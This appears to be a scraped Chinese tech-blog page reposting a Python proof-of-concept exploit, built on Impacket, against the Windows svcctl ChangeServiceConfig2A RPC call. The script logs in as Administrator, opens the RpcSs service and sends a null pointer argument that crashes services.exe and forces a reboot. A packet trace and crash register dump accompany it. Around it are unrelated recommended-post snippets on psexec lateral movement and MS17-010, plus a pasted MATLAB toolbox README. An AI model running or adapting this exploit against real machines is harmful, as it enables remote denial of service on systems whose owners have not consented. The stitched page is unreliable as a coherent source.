MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit

由psexec远控的实现原理到windows命名管道 CATALOGpsexec部分已有资产从被连接主机(lisi)的事件来看psexec到底做了什么从攻击机的流量上来看psexec命令背后做了什么命名管道我理解的命名管道利用具体代码实现服务端代码客户端代码 psexec部分 psexec一般会被用来做横移,只要我们拥有对方主机的账号密码就可以做到远程控制对方主机,我们首先看看但我们执行psexec这个程序的时候,到底发生了什么。 已有资产 用户 ip 主机名 zhangsan 192.168.23.23 red lisi 192.168. 阅读详情
  1. #!/usr/bin/python
  2. # MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit
  3. # Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
  4. # Tested on Windows 2000 SP4 Polish (all patches)
  5. #
  6. # Requires..
  7. # - Impacket : http://oss.coresecurity.com/projects/impacket.html
  8. # - PyCrypto : http://www.amk.ca/python/code/crypto.html
  9. #
  10. # Details:..
  11. #
  12. # [exploit] Session Setup AndX Request, User: Administrator -->        [target]
  13. # [exploit] Session Setup AndX Response <--                            [target]
  14. # [exploit] Tree Connect AndX Request -->                              [target]
  15. # [exploit] Tree Connect AndX Response <--                             [target]
  16. # [exploit] NT Create AndX Request, Path: /svcctl -->                  [target]
  17. # [exploit] NT Create AndX Response, Fid: 0x4000 <--                   [target]
  18. # [exploit] DCERPC Bind UUID: SVCCTL -->                               [target]
  19. # [exploit] DCERPC Bind_ack <--                                        [target]
  20. # [exploit] SVCCTL OpenSCManagerW request -->                          [target]
  21. # [exploit] SVCCTL OpenSCManagerW response(handle) <--                 [target]
  22. # [exploit] SVCCTL OpenServiceW request -->                            [target]
  23. # [exploit] SVCCTL OpenServiceW response(handle) <--                   [target]
  24. # [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
  25. # [exploit] DCERPC Fault: status: unknwon(0xc00000fd) <--              [target]
  26. # [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
  27. # [exploit] SMB Trans Response, Error: Unknown DoS Error <--           [target](crashed)
  28. #
  29. # [Module services]
  30. # Exception C0000005 (ACCESS_VIOLATION reading [00000000])
  31. # -------------------------------------------------------------
  32. # EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  33. # EBX=004D83C0: 28 83 4D 00 48 84 4D 00-34 84 4D 00 48 61 08 00
  34. # ECX=00000890: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  35. # EDX=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  36. # ESP=015BF8C0: 34 F9 5B 01 00 00 00 00-00 FB 5B 01 00 00 00 00
  37. # EBP=015BF8F4: 30 F9 5B 01 AD 20 01 01-B8 FB 0D 00 01 00 00 00
  38. # ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  39. # EDI=01017000: 90 9C 07 00 FF FF FF FF-00 00 00 00 00 00 00 00
  40. # EIP=010108A8: FF 30 68 90 A5 00 01 FF-75 FC E8 CF 1D 00 00 8B
  41. #               --> PUSH DWORD PTR [EAX]
  42. #
  43. # [Process services.exe terminated, system reboot]
  44. #
  45. # Just for fun ;]
  46. ##
  47. from impacket.structure import Structure
  48. from impacket.dcerpc import transport
  49. from impacket import uuid
  50. from random import randint
  51. from time import sleep
  52. host = '192.168.0.1'
  53. username = 'Administrator'
  54. password = 'Administrator_Password'
  55. interface = ('svcctl', '367abb81-9844-35f1-ad32-98f038001003', '2.0')
  56. stringbinding = "ncacn_np:%(host)s[//pipe//%(pipe)s]"
  57. stringbinding %= {
  58. 'host': host,
  59. 'pipe': interface[0],
  60. }
  61. # random dword
  62. def dword_rand():
  63.    s_dword = 256 ** 4
  64.    return randint(0, s_dword)
  65. # unicode string
  66. def utf16(str):
  67.    return str.encode('utf_16_le')
  68. # MS RPC string
  69. def rpcstr(str, id = 1, unicode_string = 1):
  70.    class foo(Structure):
  71.        alignment = 4
  72.        structure = ()
  73.        if(id == 1):
  74.            structure += (('id', '<L')),
  75.        structure += (
  76.            ('max', '<L'),
  77.            ('offset', '<L=0'),
  78.            ('actual', '<L'),
  79.            ('str', '%s'),
  80.        )
  81.    query = foo()
  82.    if(id == 1):
  83.        query['id'] = dword_rand()
  84.    query['max'] = len(str)
  85.    query['actual'] = len(str)
  86.    if(unicode_string == 1):
  87.        query['str'] = utf16(str)
  88.    else:
  89.        query['str'] = str
  90.    return query
  91. # MS RPC OpenSCManager
  92. def OpenSCManager(host, access = 1):
  93.    class foo(Structure):
  94.        opnum = 0x0f
  95.        structure = (
  96.            ('str1', ':'),
  97.            ('null', '<L=0'),
  98.            ('access', '<L'),
  99.        )
  100.    query = foo()
  101.    query['str1'] = rpcstr("////%s/x00" % (host))
  102.    query['access'] = access
  103.    return query
  104. # MS RPC OpenServiceW
  105. def OpenService(handle, service, access = 1):
  106.    class foo(Structure):
  107.        opnum = 0x10
  108.        structure = (
  109.            ('handle', ':'),
  110.            ('str1', ':'),
  111.            ('access', '<L'),
  112.        )
  113.    query = foo()
  114.    query['handle'] = handle
  115.    query['str1'] = rpcstr("%s/x00" % (service), 0)
  116.    query['access'] = access
  117.    return query
  118. trans = transport.DCERPCTransportFactory(stringbinding)
  119. trans.set_credentials(username, password)
  120. trans.connect()
  121. dce = trans.DCERPC_class(trans)
  122. dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2])))
  123. query = OpenSCManager(host, access = 1)
  124. dce.call(query.opnum, query)
  125. raw = dce.recv()
  126. handle = raw[:20]
  127. query = OpenService(handle, "RpcSs", access = 0xF01FF)
  128. dce.call(query.opnum, query)
  129. raw = dce.recv()
  130. handle = raw[:20]
  131. ##
  132. # ChangeServiceConfig2A() [IDL code generated by mIDA v1.0.7]
  133. #
  134. # typedef struct struct_1 {
  135. #  long elem_1;
  136. #  [switch_is(elem_1)] union union_2 elem_2;
  137. #  } struct_1 ;
  138. #
  139. # typedef [switch_type( unsigned long )] union union_2 {
  140. # [case(1)]  struct struct_3 * elem_1;
  141. # [case(2)]  struct struct_4 * elem_2;
  142. # } union_2;
  143. #
  144. # typedef struct struct_3 {
  145. # [string] char * elem_1;
  146. # } struct_3 ;
  147. #
  148. #
  149. # /* opcode: 0x24, address: 0x0101203B */
  150. #
  151. # long  sub_101203B (
  152. # [in][context_handle] void * arg_1,
  153. # [in] struct struct_1 arg_2
  154. # );
  155. ##
  156. class ChangeServiceConfig2A(Structure):
  157.    opnum = 0x24
  158.    structure = (
  159.        ('context_handle', ':'),
  160.        ('switch_is', '<L=1'),
  161.        ('case', '<L=1'),
  162.        ('struct_3', '<L=0x00000000'), # <-- vulnerable argument
  163.      )
  164. query = ChangeServiceConfig2A()
  165. query['context_handle'] = handle
  166. for i in range(0, 2):
  167.    dce.call(query.opnum, query)
  168.    sleep(1)
  169. dce.disconnect()
  170. # EoF

横向远程命令执行——Windows服务 横向远程命令执行——SC1、 测试环境2、 Windows服务利用2.1 sc   SC命令是用于与服务控制管理器和服务进行通信的命令行程序。SC命令可以设置存储在注册表中的服务属性,以控制如何在启动时启动服务应用程序,以及如何将其作为后台程序运行。即更改服务的启动状态。 1、 测试环境   Win7:192.168.11.137   Server2008:192.168.11.200   在通过... 阅读详情

相关推荐

手把手教你设计STM32的JTAG电路:从原理图到PCB布局(含JLINK连接详解)

本文详细介绍了STM32的JTAG电路设计全流程,从核心原理、接口规范到PCB布局布线技巧,特别包含JLINK调试器的连接与配置方法。通过信号滤波、上拉配置和防反接保护等关键设计要点,帮助开发者构建稳定可靠的JTAG调试环境,提升嵌入式开发效率。

weixin_29159441的博客 399

总结的关于 RPC Fault 原因

1. 编译器参数:需要通过编译器参数 -services 的值,找到配置文件,所以这个是必须要配置的,否则找不到和服务器通信的接口。2. 上下文根目录context:这个也是需要配置的,也是最容易忽视的问题。Flex3中应该是在URL地址的下面。3. 输出路径:Flex中默认的输

mine_1的专栏 2103

UCIe物理层 —— 逻辑协议 (2)

本章开始主要介绍UCIe协议第四章,物理层逻辑定义和规范。如其他的通信协议一样,接口的物理层包含两个部分,逻辑子层和电气子层。其中逻辑层主要负责:1.定义接口信号和时序2. 定义发送端如何将上层数据分发到各个物理通道以及接收端如何把从各个通道收到的数据恢复成byte stream(Flit)。3. Broken Lane的repair和remap。4. 链路初始化,训练(training)和电源状态管理/切换。5. 扰码Scrambling和training sequence的产生。

m0_47581558的博客 1489

Memory Corruption: 代码中的内存损坏问题

大家好,我是默语,擅长全栈开发、运维和人工智能技术。内存损坏(Memory Corruption)是软件开发中一个棘手的问题,可能导致程序崩溃、数据丢失以及安全漏洞。在这篇文章中,我将深入探讨内存损坏的成因、检测方法和解决策略,帮助大家提升代码的稳定性和安全性。关键词:内存损坏、C语言、内存管理、代码安全。访问未分配的内存访问已释放的内存缓冲区溢出这些操作会破坏程序的内存布局,导致未定义行为。技术描述示例代码内存检测工具检测内存错误编译器选项启用内存检查智能指针自动管理内存。

沉淀所学,分享所思,让热爱与成长同行。商务记录AI实战经验,助力开发者快速成长。 热爱AI,希望做出有影响力的技术成果。 技术点亮生活,分享连接价值与机会。 专注AI落地实战,陪你走好技术每一步。 2万+

薛定谔 | 先导化合物优化与相互作用可视化

当获得针对某个靶点的先导分子后,想要在此基础上进行化学结构修饰。为了提升化学改造的成功率可以采用本教程方法进行结构虚拟改造/优化。每用薛定谔处理一个新任务,第一步必须创建新的project以方便日后管理。选项卡中修改工作路径(可以方便地找到输出文件)

药研猿的博客 2150

Vivado2019.1 ZYNQ7020无Uart SDK调试打印调试信息xil_printf

Vivado2019.1 ZYNQ7020无Uart SDK调试打印调试信息xil_printf

泛红尘的博客 3002

python 网络协议 库_impacket-Impacket是个使用网络协议进行工作的工具集合

What is Impacket?Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (fo...

weixin_36338813的博客 418

2024年03月CCF-GESP编程能力等级认证Python编程一级真题解析

小杨的父母最近刚刚给他买了一块华为手表,他说手表上跑的是鸿蒙,这个鸿蒙是?( ) A. 小程序 B. 计时器 C. 操作系统 D. 神话人物

人生就是一个不断学习的过程 1035

解析错误“[RPC Fault faultString="" faultCode="400" faultDetail="'sr' parameter is invalid"]”

问题:前不久我利用ArcGIS Api for Flex2.2 + ArcGIS 9.3服务进行IdentifyTask时总是弹出错误 [RPC Fault faultString="" faultCode="400" faultDetail="'sr' parameter  is invalid"],弄得我束手无策,每次调试进去看到spatialreference也不是为空,为什么总是错误呢?

lxping1012的专栏 9053

【项目实战】DevOps制品管理之JFrog Artifactory介绍

JFrog Artifactory是一款领先的二进制软件制品仓库管理工具,由JFrog公司开发。

奶爸的编程之路,也就一周冷个三天 1361

六、数据资产平台功能架构

该架构图展示了一个功能完善的数据资产平台,它涵盖了数据资产管理的各个方面,从数据采集、模型设计、编目到使用和分析。通过该平台,企业可以更好地管理数据资产,提高数据利用效率,并为业务决策提供有力支持。

moton2017的博客 1628

PsExec流量分析

当使用远程计算机上本地管理员组成员的用户通过net use \remotecomputer\ 命令建立IPC连接的时候不会以完全管理权限的管理员身份连接,用户无法在远程计算机上提升自己的权限,并且无法执行管理任务,如果用户希望使用安全账户管理器(SAM)中的用户管理服务器,则必须通过远程桌面连接来登录。大致是说:如果你的计算机是域中的一部分,使用管理员组中的用户连接远程计算机,此时UAC 访问令牌过滤器不会生效,不要使用本地的、非域内用户的账户连接远程计算机,即使该用户属于管理员组。

4SecNet团队专栏 1198

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

python 使用dce/rpc

资料下载 这里在线看其中的PDF 转载于:https://www.cnblogs.com/kkindof/archive/2012/06/11/2545274.html

weixin_30367945的博客 761

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

[RPC Fault faultString="Send failed" faultCode="Client.Error.MessageSend" faultDetail="Channel.Connect.Failed error NetConnectio

[RPC Fault faultString="Send failed" faultCode="Client.Error.MessageSend" faultDetail="Channel.Connect.Failed error NetConnection.Call.Failed: HTTP: Status 404: url: http://localhost:8080/WebRoot/mes

foart的专栏 4076

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

RPC连接错误

在使用RPC客户端和服务端连接时,出现log4j:WARN No appenders could be found for logger (org.apache.hadoop.metrics2.lib.MutableMetricsFactory). log4j:WARN Please initialize the log4j system properly. log4j:WARN See http...

dev_xp的博客 5146

Metasploit利用MS17-010漏洞

端口扫描 使用nmap扫描主机及开放的端口:nmap -sS 192.168.1.* Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-25 15:06 CST Nmap scan report for cvr328w (192.168.1.1) Host is up (0.00049s latency). Not shown: 998 cl...

江左盟的博客 2万+

远程过程调用(RPC)详解

原文同步至 http://waylau.com/remote-pr...

weixin_33913377的博客 6247

网络请求及各类错误代码含义总结(Errors Code)

  在很多时候都会遇到错误, 还会带有一些 Error Code , 比如在各种网络请求, 文件操作, cookie 错误等各种错误的代码和错误代码对应的含义. 以下目录为 SOCKS4 Errors, SOCKS5 Errors, FTP Errors, HTTP Errors, CFURLConnection &amp; CFURLProtocol Errors, File Errors, ...

DCSnail-蜗牛 8万+

Fabric的FNS项目报异常:gRPC failure=Status{code=UNAVAILABLE, description=io exception, cause=ja

直接点,就是访问的目标访问不到,可能是地址写错了,可能是配置了什么东西不让通过. 首先确认IP或者域名是不是写错了,没有在看目标地址是不是做了什么限制; 像我就不一样了,明明约定好了一个域名,同事配的时候配置了另一个地址,后来实在没辙瞎猜,询问之后才搞定. 如果你是用Fabric的FNS项目,除了这个问题,十有八九就是节点的地址配错了.对比一下相关的yaml文件里面的配置,对应的匹配上就好了. ...

想到哪记到哪 6336

rpc服务器不可用自动重启,出现RPC服务器不可用的解决方法

出现RPC服务器不可用的解决方法RPC服务器,是指Remote Procedure Call Protocol,中文释义为(RFC-1831)远程过程调用协议:一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。当RPC服务出现问题的时候,我们打开很多程序都会出现PRC服务器不可用的情况。RPC服务器不可用有以下几个可能及解决方法:一.RPC服务没有启动或正常启动,我们可以通过...

weixin_32334681的博客 4466

Windows 横向移动的常用技术

横向移动不仅仅是需要收集明文凭据,还需要收集密文凭据,在遇到防火墙受阻和端口限制的情况下,我们可以使用建立端口转发稳定的隧道来与目标进行通信,当用户拥有某些权限时,我们也可以扩展危害性,感染其他用户来进行横向移动。

每天一小步,进步一大截 2773

psexec的底层实现原理是什么

讲在前面 我们在这里学习的是sysinternals工具包中的psexec.exe。本文对于psexec.exe的实现具体理论技术不做赘述,国内外已有优秀的博客对此做了非常详细的解释(本文借鉴国内已有的文章)。本文从实际出发,复述psexec在实现上需要了解的几个重点知识,至于重点知识是否需要深入了解,读者可自行深入。 我们先知道执行psexec会产生那些日志,然后我们再了解psexec执行过程中的技术细节,最后我们来总结日志、psexec的技术细节了解对于我们检测此类横向移动有什么帮助。 日志产生

Ping_Pig的博客 5120

ChangeServiceConfig2

ChangeServiceConfig2The ChangeServiceConfig2 function changes the optional configuration parameters of a service.BOOL ChangeServiceConfig2( SC_HANDLE hService, DWORD dwInfoLevel, LPVOID lpInf

小发猫 2865

Windows IPC

IPC 的个人理解

hide_in_darkness的博客 2306
上一篇: MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit # Bug discovered by h07
下一篇: MS Windows DNS RPC Remote Buffer Overflow Exploit (win2k SP4)
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址